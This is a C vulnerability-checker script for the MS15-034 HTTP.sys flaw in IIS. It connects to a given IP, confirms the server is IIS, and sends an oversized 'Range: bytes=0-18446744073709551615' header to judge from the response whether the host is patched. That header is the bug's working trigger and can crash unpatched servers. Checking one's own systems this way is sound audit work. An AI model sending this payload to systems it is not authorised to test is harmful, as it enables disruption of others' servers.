/*  UNTESTED - MS15-034 Checker       THE BUG:        8a8b2112 56              push    esi     8a8b2113 6a00            push    0     8a8b2115 2bc7            sub     eax,edi     8a8b2117 6a01            push    1     8a8b2119 1bca            sbb     ecx,edx     8a8b211b 51              push    ecx     8a8b211c 50              push    eax     8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here        ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4        BY: john.b.hale@gmai.com     Twitter: @rhcp011235 */   #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <arpa/inet.h>     int connect_to_server(char *ip) {     int sockfd = 0, n = 0;         struct sockaddr_in serv_addr;      struct hostent *server;        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)         {             printf("\n Error : Could not create socket \n");             return 1;         }        memset(&serv_addr, '0', sizeof(serv_addr));     serv_addr.sin_family = AF_INET;         serv_addr.sin_port = htons(80);     if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)         {             printf("\n inet_pton error occured\n");             return 1;         }     if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)         {             printf("\n Error : Connect Failed \n");             return 1;         }         return sockfd; }           int main(int argc, char *argv[]) {     int n = 0;     int sockfd;     char recvBuff[1024];        // Check server     char request[] = "GET / HTTP/1.0\r\n\r\n";        // our evil buffer     char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";           if(argc != 2)     {         printf("\n Usage: %s <ip of server> \n",argv[0]);         return 1;     }         printf("[*] Audit Started\n");     sockfd = connect_to_server(argv[1]);     write(sockfd, request, strlen(request));      read(sockfd, recvBuff, sizeof(recvBuff)-1);        if (!strstr(recvBuff,"Microsoft"))     {         printf("[*] NOT IIS\n");         exit(1);     }        sockfd = connect_to_server(argv[1]);     write(sockfd, request1, strlen(request1));     read(sockfd, recvBuff, sizeof(recvBuff)-1);     if (strstr(recvBuff,"Requested Range Not Satisfiable"))     {                 printf("[!!] Looks VULN\n");                 exit(1);     } else if(strstr(recvBuff,"The request has an invalid header name")) {     printf("[*] Looks Patched"); } else    printf("[*] Unexpected response, cannot discern patch status");                         }